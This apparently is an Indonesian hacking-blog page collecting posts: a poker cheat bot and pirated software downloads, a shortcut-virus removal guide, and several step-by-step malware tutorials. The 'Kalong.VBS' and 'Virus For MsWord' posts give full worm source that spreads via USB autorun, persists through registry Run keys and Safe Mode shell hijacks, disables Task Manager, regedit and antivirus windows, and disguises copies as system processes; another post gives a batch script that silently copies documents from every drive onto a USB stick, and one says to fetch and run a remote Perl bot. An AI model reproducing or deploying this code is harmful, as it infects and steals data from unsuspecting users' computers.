Cheat Zynga Poker

Aplikasi/software Cheat game Zinga Poker Facebook 2010? banyak fitur baru ditambahkan sehingga cheat zinga bot ini  dapat membaca fitur zinga 
Beberapa fitur terbaru Cheat bot Poker Zinga Poker Bot versi 4 ini diantaranya :
- Dapat mengubah “Blindâ€‌ posisi
- Mengatur keputusan Kartu
- Mengatur keputusan Skor
- Dll

Semua ini dilakukan hanya dengan mengedit file konfigurasi, jadi tidak perlu mengubah kode sumber dan mengkompilasi program bot again.Z V.4.


           LinK
http://www.ziddu.com/downloadlink/12707116/ZingaBotV4%20vhacker.rar


Tutorial Zynga Bot
http://www.ziddu.com/download/12707117/HowToUseZyngaPokerBotZ.4.doc.html

Memory Booster 6.1.1.9 Portable


Uniture Memory Booster is a professional memory booster used for speeding up computer. For having powerful functions, Uniture Memory Booster can free up wasted RAM automatically and compresses system memory to make processes run faster with greater stability. It is feature-rich yet easy to use software. Clicking a wizard button can help users set parameters in turn. If it still bother you, just click recommended button to leave it as default. It is such a tool designed for both new users and advanced users.
Features Overview:
- Free memory automatically to speed up computer
- Free memory to improve system response time
- Defrag unneeded parameters in the background
- Monitor system and automatically optimize it when needed without interrupting your work
- Display current using memory in real time
- Display current page file usage in real time
- Show space of occupied paging file
- Adjust priority of CPU allocation automatically
- Optimize NTFS performance
- Specify desired memory parameters to free up memory or defrag memory
- Analyze and recognize the frequently used applications
- Stop processes and programs or reclaim memory occupied by listed processes

Home Page - http://www.unituresoft.com/
               Sedott AJA:
http://hotfile.com/dl/95814175/15555eb/Memory_Booster_6.1.1.9_Portable.rar.html

Membuat Virus dari Notepad

seng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.

Virus For MsWord Etc

Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?
Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.
Masukan semua code di bawah ini pada form
==========================================
Private Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long ‘pencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib “user32″ Alias “SendMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long ‘sendmessage
Private Declare Function GetDriveType& Lib “Kernel32″ Alias “GetDriveTypeA” (ByVal nDrive As String) ‘ penghandel flashdisk
Private Declare Function ExitWindowsEx Lib “user32″ (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long ‘exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8
Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk
Private Sub Form_Load()
On Error Resume Next
‘acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) ‘silahkan masukan angka sesuka anda
‘menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False ‘virus tidak terlihat di task manager
InfeksiRegistry
End Sub
Sub BuatWord()
On Error Resume Next
Set obj = CreateObject(“word.application”)
Set doc = CreateObject(“word.application”)
Set doc = obj.Documents.Add
doc.Content = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub
Sub BuatXls()
On Error Resume Next
Set obj = CreateObject(“excel.application”)
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub
Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell”, “Explorer.exe” & ” “”" & FolderMyDocuments & “\services.exe”"” ‘virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell”, FolderFavorites & “\SalamKenal.exe” ‘virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderTemplates & “\smss.exe” ‘smss.exe berjalan pada saat startup
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderSendTo & “\System.exe” ‘System.exe berjalan pada saat startup
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘search pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘Ssearch pd star menu hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\Control Panel\Colors\WindowText”, “255 0 0″, “REG_SZ” ‘DEFAULT TEKS MENJADI MERAH
RegRun.regwrite “HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\”, FolderFavorites & “\SalamKenal.exe” ‘Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun”, 1, “REG_DWORD” ‘Autorun pada CD atau USB
End Sub
Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & “\Winlogon.exe”) <> “Winlogon.exe” Then ‘mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & “\Winlogon.exe”, FlashDisk & “\Winlogon.exe”
SetAttr FlashDisk & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub
Sub BuatFileAutorunInf()
‘membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & “\Autorun.Inf” For Output As 1
Print #1, “[AutoRun]”
Print #1, “Icon=Winlogon.exe” ‘Agar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, “Open=Winlogon.exe”
Print #1, “ShellExecute=Winlogon.exe”
Print #1, “Shell\Open\Command=Winlogon.exe”
Print #1, “Shell=Open”
Close #1
SetAttr FlashDisk & “\Autorun.Inf”, vbHidden + vbSystem + vbReadOnly
End Sub
Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject(“WScript.Shell”)
FolderStartUp = RegRun.specialfolders(“StartUp”)
FolderMyDocuments = RegRun.specialfolders(“MyDocuments”)
FolderTemplates = RegRun.specialfolders(“Templates”)
FolderNetHood = RegRun.specialfolders(“NetHood”)
FolderPrintHood = RegRun.specialfolders(“PrintHood”)
FolderFavorites = RegRun.specialfolders(“Favorites”)
FolderSendTo = RegRun.specialfolders(“SendTo”)
FolderPrograms = RegRun.specialfolders(“Programs”)
On Error Resume Next
‘membuat virus dengan nama winlogon.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderStartUp & “\WinLogon.Exe”
SetAttr FolderStartUp & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama services.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderMyDocuments & “\services.Exe”
SetAttr FolderMyDocuments & “\services.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama smss.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderTemplates & “\smss.Exe”
SetAttr FolderTemplates & “\smss.Exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama csrss.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrintHood & “\csrss.Exe”
SetAttr FolderPrintHood & “\csrss.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama Isass.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderNetHood & “\Isass.Exe”
SetAttr FolderNetHood & “\Isass.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderFavorites & “\SalamKenal.Exe”
SetAttr FolderFavorites & “\SalamKenal.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama System.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderSendTo & “\System.Exe”
SetAttr FolderSendTo & “\System.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama ctfmon.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrograms & “\ctfmon.Exe”
SetAttr FolderPrograms & “\ctfmon.exe”, vbHidden + vbSystem + vbReadOnly
End Sub
Private Sub Timer1_Timer() ‘Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow(“OpusApp”, “Document1 – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“OpusApp”, “New Microsoft Word Document.doc – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – Book1″) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – New Microsoft Excel Worksheet.xls”) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
‘menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow(“#32770″, “RUN”) ‘jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “System Configuration Utility”) ‘msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “Windows Task Manager”) ‘task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “Avira AntiVir Personal – Free Antivirus”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “AntiVir Guard: Attention, Detection!”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“RegEdit_RegEdit”, vbNullString) ‘regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TMainForm”, vbNullString) ‘aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TApplication”, vbNullString) ‘aplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub
Private Sub Timer4_Timer()
‘cari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount – 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False ‘agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk ‘
End Sub
Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
‘Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
‘menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
Timer4.Enabled = True
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub

Cara Bikin Bot SMS Gratis

cara cepatnya adalah:
Silakan download, wget, fetch sourcenya disini:http://www.nordosten.se/includes/js/tabs/smsbot.txt
Setelah selesai wget / fetch / upload filenya,
Kemudian jalankan dengan perintah:
perl smsbot.txt
Setelah itu, tinggal duduk manis menunggu BOT masuk ke channel.
Untuk mengirimkan SMS, ketikkan perintah:
.sms notujuan pesan anda
contoh:
.sms 123456789 halo, apakah anda sudah siap berpuasa?

Merampok data dengan USB

Alo teman-teman nama saya ilyas nick name saya Eliazt atau the vampirez. Pada kesempatan ini saya akan sharing menngenai merampok data di kompi dengan USB Flash Drive.. ok let’s start mulai aja yuk.
  1. Buka notepad pertama . .. kalau males ngetik bisa copas tulisan di bawah ini ..
@echo off
REM Name : silentxxx
REM Author : Silentxxx
Set silent=%computername% _ %random%
If not exist ”%silent%” Md “%silent%”
For%%a in (C D E F G H I J) do if exist %%a:\ (
For /f “tokens=*” %%b in (‘dir /a/b/s %%a:\*.doc’) do (
attrib –s –h –r “%%b”
copy “%%b” “%silent%” /y)
For /f  “tokens=*” %%b in (‘dir /a/b/s%%a:\.xls’) do (
attrib –s –h –r “%%b”
copy “%%b” “%silent%” /y)
For /f “tokens=*” %% b in (‘dir /a/b/s%%a:/*.txt’) do (
attrib –s –h –r “%%b”
copy “%%b” “%silent%” /y)
For /f “tokens=*” %%b in (‘dir /a/b/s%%a:/*.docx’) do (
attrib –s –h –r “%%b”
copy “%%b” “%silent%” /y)
)
  1. Save file tersebut dengan nama terserah .bat dan save as type all files .,udah pa blon??
Sekarang coba di jalankan file dengan exstensi bat tersebut maka di samping File akan terbuat semua file yang di copy dari drive C ampai Z (kalau punya )wkwkwk. gila banyak amat..
Code di atas dapat di ubah atau di tambah sesuai dengan keinginan kalian masing-masing bisa di tambahkan kode
For /f “tokens=*”  %%b in (‘dir /a/b/s%%a:\*.zip’)  do(
attrib –s –h –r  “%%b”
copy “%%b” “%silent%” /y)
maka file yang berextensi zip akan masuk ke Flash Disk kamu (wah lumayan dapat software kompresan gratis wkwkwk)
ubah sesuai extensi apa yang kamu inginkan misalnya *.pdf  atau *.html
maka file terserah.bat akan berjalan sesuai dengan keinginan anda .
File tersebut bisa anda ubah ke bentuk extensi exe. .. enak atuh,, lebih mudah.. dengan software Bat_To_Exe_ConverterV1.5  kalau belum punya kakak-kakak bisa download di http://www/brothersoft.com/bat-to-exe-converter-50301.html
Cara mengubahnya adalah
  1. Buka software tersebut..
  2. Pilih yang compile
  3. Dan sekarang file.bat yang tadi kita buat menjadi file yang berextensi *.exe lebih enak kan ..
  4. Agar file tersebut maka kita harus buat file autorun
  5. Buka notepad ketikkan
[autorun]
Open=terserah.exe
  1. save as dengan nama Autorun.inf dan terserah.exe di dalam directory USB Flash Drive kamu..
  2. Selesai .. Akhirnya sekarang colokkan atau masukkan FD kamu atau loe atau agan di pc mana aaja akan terkcopy banyak data yang kamu terima .. thnkz.. tamat

Cara menghapus virus shortcut

Berikut  langkah praktis untuk mendepak virus yang mampu mengubah folder yang ada di dalam USB flash disk menjadi shortcut tersebut:
1. Nonaktifkan ‘System Restore’ untuk sementara selama proses pembersihan.
2. Putuskan komputer yang akan dibersihkan dari jaringan.
3. Matikan proses virus yang aktif di memori dengan menggunakan tools ‘Ice Sword’. Setelah tools tersebut terinstal, pilih file yang mempunyai icon ‘Microsoft Visual Basic Project’ kemudian klik ‘Terminate Process’. Silahkan download tools tersebut di http://icesword.en.softonic.com/
4. Hapus registri yang sudah dibuat oleh virus dengan cara:
-. Klik menu [Start]
-. Klik [Run]
-. Ketik REGEDIT.exe, kemudian klik tombol [OK]
-. Pada aplikasi Registry Editor, telusuri key [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
-. Kemudian hapus key yang mempunyai data [C:\Document and Settings\%user%].
5. Disable autoplay/autorun Windows. Copy script di bawah ini pada program notepad kemudian simpan dengan nama REPAIR.INF, install file tersebut dengan cara: Klik kanan REPAIR.INF –> INSTALL
[Version]
Signature=”$Chicago$”
Provider=Vaksincom
[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del
[UnhookRegKey]
HKLM, Software\CLASSES\batfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\comfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\exefile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\piffile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\regfile\shell\open\command,,,”regedit.exe “%1″”
HKLM, Software\CLASSES\scrfile\shell\open\command,,,”"”%1″” %*”
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
6. Hapus File induk dan file duplikat yang dibuat oleh virus termasuk di flash disk. Untuk mempercepat proses pencarian, Anda dapat menggunakan fungsi ‘Search’. Sebelum melakukan pencarian sebaiknya tampilkan semua file yang tersembunyi dengan mengubah pada setting Folder Options.
Jangan sampai terjadi kesalahan pada saat menghapus file induk maupun file duplikat yang telah dibuat oleh virus. Lalu hapus file induk virus yang mempunyai ciri-ciri:
-. Icon ‘Microsoft Visual Basic Project’.
-. Ukuran File 128 KB (untuk varian lain akan mempunyai ukuran yang bervariasi).
-. Ekstesi file ‘.EXE’ atau ‘.SCR’.
-. Type file ‘Application’ atau ‘Screen Saver’.
Kemudian hapus File duplikat shortcut yang mempunyai ciri-ciri:
>. Icon Folder atau icon
>. Ekstensi .LNK
>. Type File ‘Shortcut’
>. Ukuran file 1 KB
Hapus juga file yang .DLL (contoh: ert.dll) dan file Autorun.inf di flash disk atau folder yang di-share. Sementara untuk menghindari virus tersebut aktif kembali, hapus file induk yang mempunyai ekstensi EXE atau SCR terlebih dahulu baru kemudian hapus file Shortcut (.LNK).
7. Tampilkan kembali folder yang telah disembunyikan oleh virus. Untuk mempercepat proses tersebut, silahkan download tools UnHide File and Folder di http://www.flashshare.com/bfu/download.html.
Setelah diinstall, pilih direktori [C:\Documents and settings] dan folder yang ada di flash disk dengan cara menggeser ke kolom yang sudah tersedia. Pada menu [Attributes] kosongkan semua pilihan yang ada, kemudian klik tombol [Change Attributes].
8. Install security patch ‘Microsoft Windows Shell shortcut handling remote code execution vulnerability-MS10-046′. Silakan download security patch tersebut di : http://www.microsoft.com/technet/security/Bulletin/MS10-046.mspx
Seperti biasa, untuk pembersihan secara optimal dan menecegah infeksi ulang, sebaiknya install dan scan dengan antivirus yang up-to-date dan sudah dapat mendeteksi virus ini dengan baik.

Internet Gratis Via HP(HOT)

uppy Yuppy Yuppyy... Good News,
Pada postingan kali ini w bakal kasi informasi top of the week, buat temen - temen smua yang suka OL lewat HP, jangan khawatir, ngenet lewat HP jg bisa gratis kug...
Aku bakal bagi tips n software OpraMini hasil Oprekan anak bangsa ini, Langkah Pertama langsung aja yia download software OpMini
UNTUK IM3 DOWNLOAD di :http://www.ziddu.com/downloadlink/8118404/FreeOPMinForM3.jar.html
Untuk Axis download di : http://www.ziddu.com/downloadlink/8118403/opera-mini41-axis.jar.html
Untuk three download di : http://www.ziddu.com/downloadlink/8118405/Operamini_5Betathree.jar.html


